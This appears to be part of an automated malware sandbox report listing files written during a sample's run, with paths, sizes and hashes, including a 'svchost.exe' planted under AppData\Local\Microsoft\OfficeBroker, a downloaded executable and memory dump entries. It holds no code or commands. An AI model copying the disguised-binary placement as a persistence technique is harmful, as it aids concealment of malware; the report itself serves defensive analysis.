SSDEEP 1536:JSjP++SKG0qRilWUATqUd408KMYbF5ITGkbEKTldfQVHV+Y6zIFNA:4++J3qUQm08KMWF0bFTcVHr6zf
TLSH
T16C9312B99D1E7C3963ABD7A6A003AC9D8CD3DCCE1514157C31C75B1E14BB392A30B8A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 125KB
SHA256 6e06a80e38015f4b9caacbec6e6c199290aed154002f986cdf9e4403d6bd37a2
MD5 7b279bec76c4a6026cb5bb813277632f
SHA1 8f04e425b096e77727bb9e404501bde0fbf895aa
SHA512 b7c18487a4282eee92e0add2c9776912c0d0b0107ed688fc539c4e04f19b7ee1264b655b4f1e965dba4a468e69f164aa53c3ef3dc67bb87e5b8654a0f306a340
SSDEEP 3072:vXYnChrZd/++J3qUQm08KMWF0bFTcVHr6zf:wnmrH/++JjcMW2VcVLu
TLSH
T1D4C312F48D2D6C79876FE38281176D9D48E2989F2918247E31C75F0D107BFD6630B892
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Variations

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Variations
Size 86B
SHA256 2741df9ee9e9d9883397078f94480e9bc1d9c76996eec5cfe4e77929337cbe93
MD5 f732dbed9289177d15e236d0f8f2ddd3
SHA1 53f822af51b014bc3d4b575865d9c3ef0e4debde
SHA512 b64e5021f32e26c752fcba15a139815894309b25644e74ceca46a9aa97070bca3b77ded569a9bfd694193d035ba75b61a8d6262c8e6d5c4d76b452b38f5150a4
TLSH
T168A012078473800AE4184092C45C024114A480460119D0015070931314950CA03A5435
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\component_crx_cache\metadata.json
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

first_party_sets.db

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\first_party_sets.db
Size 48KB
SHA256 0c2a7d9a05ecc2cc77765a0a5d71529f2237755fe60ac3d742d6c07805f80d14
MD5 e045e65cd8ef3d083617318874fb79ea
SHA1 c2fa643f68ddf8df9e99d41cecc7525e5a2c08c3
SHA512 23c380211a66716c26bb85d47c8d82531cd1ed92636bb91e281a4abb9e2e2123967e8b4761d830c99c8fabdd7d6e7526165d78111e0ffae97194ce7a1195dcb6
SSDEEP 24:TL74/arHRH34kQrq+i7ZYZY5J+Qnj3k0rJXAeL3mkAD6W6Ivrr6UwgfL:TY/IHRH34kWqB1kQnjhHmr6ITmU9L
TLSH
T1C223886EDA2CB9A1FEE40B3DD7D1D0127735AA0EC2E4D9F1099B406746C540405EB63E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ukm_db

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\segmentation_platform\ukm_db
Size 48KB
SHA256 25ccb335ff753f8b5cb1d1dd6d58bd6f1b02b60e570ab82a0391b947a4624680
MD5 636020246a98b232caffe70d14f2390a
SHA1 77253c8bd4c9615df1714841394a18dabfe744d8
SHA512 5ebcb7dc119f4fe96eb56033bcc5abd3dcadff0eaf0421557e6d50e7f10271a8c5d61018347506ceb87c707914bec2ad5f7e4923c2bb8a9e63db4607763ceff9
SSDEEP 24:T66Qcn/CVdn+xxnFn6ZOTs0n/YSRltqtD9ijuoxAYGduhr2fk05b53HxOSRtK0J3:TkkhCU2QB2zbBxx2+EZg
TLSH
T1D423AE0E2A6821E9D0D5193EFED20C917CBD4F998B2B789209E00C768CE10EE512F4BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 541125ea9afcf1abce14e4afb45c1285fa1170deb496a5599c9e6d3998ca3e6e
MD5 06d8f40e0921d3b28c6e98ef6a2d587c
SHA1 8b61a6212a385a884c98ad5831b7ea257de32a79
SHA512 877517c71bceb5ff7725dd70533a646df34245f914d0618b851d42cab3d28f941eb220d96573351419a7e6d080eef448e1ee55cdde3300606262b121d22c48a0
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqnBPzOIz+ZiNLm7vh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq4Iz+2x
TLSH
T1B791EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

svchost.exe

Path C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
Size 6.0MB
SHA256 b448352bfabf1e0bc4f7ff82d0ab0c277a7e0bef5ef3ca94d3f4f0db6cc11686
MD5 87e775ce52d9ecce54b69d089264acec
SHA1 94dbc99aea1260e62afd4b063e888b2ffeb9c599
SHA512 91d4c075856022f50553aa5d38f2333572554053b784a4c224eaeb2139f71302642d29aa47a75bc07ffcfcad33db6961e98123407dc51331b2ec56800a02de66
SSDEEP 98304:FQiFytO1s/YLceSxJAyJh3ETWvR/2uWujfoTcBqNUK:FzFytO1s/ihSxJAyJh3E5uBO
TLSH
T1D856CE276D555453E41DC4BAE392562553B0EF3F2581CAE32040BBB178E23E4FAADF88
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 cad7fa82645bffc55a30f34d2171b358e37496ab44945d39cf6ad5d3653cfb43
MD5 2ed87f0ff6276cca643ce40823ecc862
SHA1 e488b6df5f116b68a177eaa5e09ece10433c52d0
SHA512 3769f962bb2dd68a8f8555233112cd02befc3ccc5e2ce390753e02afb00777c5c0188557a9254d2d18d02fe9b55e1e32f19a2a7930658ae6aebf3b0e45eae8f0
SSDEEP 1536:/flJnrh4iUxubYCMVKfKQ0RWgvrqM21aV8NX+z30voM8xYoe3V3CNBQkj2SOdB6W:/flJnrqiUubYCMVKfKQ0RWgvrqM21aV6
TLSH
T15A538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 db7cc4d433dea113bf72514e5efae2dd9cd042d62c1c457a66f850b635bbe57d
MD5 2f5e351d98d3f689dedae5c7e50cc641
SHA1 87a0440c2b50676971589366f0948d0f88639985
SHA512 6c8db83a86a5bd6055c84c2e454643002f412457ec0590f04d951e4ce2cea4e80e62b95335ccb5b454355acb5761594153fd653f785a9adee3a8ec727d8cd8cb
TLSH
T1A9213333B3ACC125C8D9157A208DAD01B2B5C3C7449E8E9B6A84C508A57F99ADB645A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_nwcwzhle.qzq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nwcwzhle.qzq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 6KB
SHA256 74bd8d6f3f47254eaca10f5cbd20210d4d7d39709671e534bb55bf2b2179bb6f
MD5 8e8ca9b910f3e454d53747cafb969014
SHA1 1b5a14fc3969f9ea46f0847ddd12f0afcabb8b9b
SHA512 e90e29a41a88ef8d3acab6c4f4434ae60fdc800face7d8b03d2086e14b0a467c88d601fea72ef746ac0603a97d8772e8485c5ca905b38eb917f1c0733d94ff92
SSDEEP 96:8teF7sCySg9FukvhkvCCtn5iDRAndQHWq9DRAndQHWqb:8teFWHcn5iDRw3q9DRw3qb
TLSH
T1A9D1CF1017F74A18F2BB8E7968B6A31093B5F841EF06DB8F4240A16D9C31624E93D77B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 6KB
SHA256 dd10414e5328b6b1e54d94ad0ad24500ba8861b30d0b9d5aef25cc2462916c32
MD5 cf92be752cee191ba5406f0d7d2231f7
SHA1 8d30d778eb9aaa6588824de7514a57ee70e41628
SHA512 4d8ba49db5395942983533078e03ee45ec676d4488864beaa9bedeaab6bd99101a7cb401ab68f8dfa12ab1bd672d50df13a4bdb2ecace2234e22446d702867f7
SSDEEP 96:PteF7zCTSQ9FukvhkvCCtn5iDoAndQHWq9DoAndQHWqb:PteFwncn5iDow3q9Dow3qb
TLSH
T173D1DF1027F24618F2BB8E7968B6B7209375F945EF06DB8F0240622D9C31624E93D77B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

S8D70IPCZNAA.exe

Path C:\Users\Admin\Downloads\S8D70IPCZNAA.exe
Size 29.0MB
SHA256 384d494911d5e63e2deb58bedd63d4cefd10b71558937f32af75e6aa5202b098
MD5 c933634e14fd63263480a201c16900c3
SHA1 6e27373df38eb3c0c660640d43c9491cc23a8767
SHA512 8a86742f3ba571de1472e0314e8cb48cd72271885b2feb40c4095fbcdba9a52c5bf9dc8ea0645db7d89f6897a93d6b0794ceb78b88d26cc9ebe19f816142a4db
SSDEEP 393216:bBkxl398nS9Ydl6Qd+Av6bHxB5k9E2zCGPuX1+5N1eUNM8aSEorhxxB:9Iltk1GQd3Sb9kVGGsI1dM8dj9Z
TLSH
T13F6794C6E152FF86E2294E95FB037C3986E0CF286A653E6C4010F795E6CB342951FB61
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

S8D70IPCZNAA.exe:Zone.Identifier

Path C:\Users\Admin\Downloads\S8D70IPCZNAA.exe:Zone.Identifier
Size 98B
SHA256 0d3ddbd3287912fa0d0c998b6e8a110b7690c41c478bfd72398ab9aeb2b172da
MD5 3dfc41bf5b6c3fe43ae7917c9541bb14
SHA1 1e20430026d3e538d01a1bdda8ead837f60f7bf3
SHA512 2d002a512fb35715caa269e30b90cdee51ddc40d9fe6ed278bb5a94e83ccdde91eec5af410ecb6c0f915a3fed57e27a7d013d32036dd54dffadf15dbb35402e3
TLSH
T196B0128B468054280D1920AC9BAE8025688F75018D0003ECFE008DDEDC803AA416442A
MD5 SHA1 SHA512 TLSH

Submit Download

memory/376-389-0x00007FF7206D0000-0x00007FF7208FA000-memory.dmp

Download

memory/376-390-0x000001B34CDC0000-0x000001B34CDC8000-memory.dmp

Download

memory/376-375-0x0000000140000000-0x000000014028D000-memory.dmp

Download

memory/376-374-0x00007FFA52CA0000-0x00007FFA52EA9000-memory.dmp

Download

memory/768-86-0x0000000140000000-0x000000014028D000-memory.dmp

Download

memory/768-148-0x000002209D3E0000-0x000002209D3E8000-memory.dmp

Download

memory/768-147-0x00007FF7206D0000-0x00007FF7208FA000-memory.dmp

Download

memory/768-85-0x00007FFA52CA0000-0x00007FFA52EA9000-memory.dmp

Download

memory/3768-145-0x00000184B3BC0000-0x00000184B3BC6000-memory.dmp

Download

memory/3768-160-0x000001849AE90000-0x000001849AE9C000-memory.dmp

Download

memory/3768-259-0x000001849AE90000-0x000001849AE9C000-memory.dmp

Download

memory/3768-118-0x00000184B3BA0000-0x00000184B3BBC000-memory.dmp

Download

memory/3768-146-0x00000184B3BD0000-0x00000184B3BDA000-memory.dmp

Download

memory/3768-162-0x000001849B380000-0x000001849B392000-memory.dmp

Download

memory/3768-102-0x000001849B560000-0x000001849B582000-memory.dmp

Download

memory/3768-161-0x000001849B370000-0x000001849B378000-memory.dmp

Download

memory/3768-143-0x00000184B3BE0000-0x00000184B3BFA000-memory.dmp

Download

memory/3768-115-0x00000184B3940000-0x00000184B395C000-memory.dmp

Download

memory/3768-116-0x00000184B3960000-0x00000184B3A13000-memory.dmp

Download

memory/3768-144-0x00000184B3B90000-0x00000184B3B98000-memory.dmp

Download

memory/3768-117-0x00000184B3A20000-0x00000184B3A2A000-memory.dmp

Download

memory/3768-142-0x00000184B3B80000-0x00000184B3B8A000-memory.dmp

Download

memory/3816-283-0x000001C716F30000-0x000001C716F3C000-memory.dmp

Download

memory/3816-267-0x000001C717350000-0x000001C717362000-memory.dmp

Download

memory/3816-266-0x000001C716F60000-0x000001C716F68000-memory.dmp

Download

memory/3816-265-0x000001C716F30000-0x000001C716F3C000-memory.dmp

Download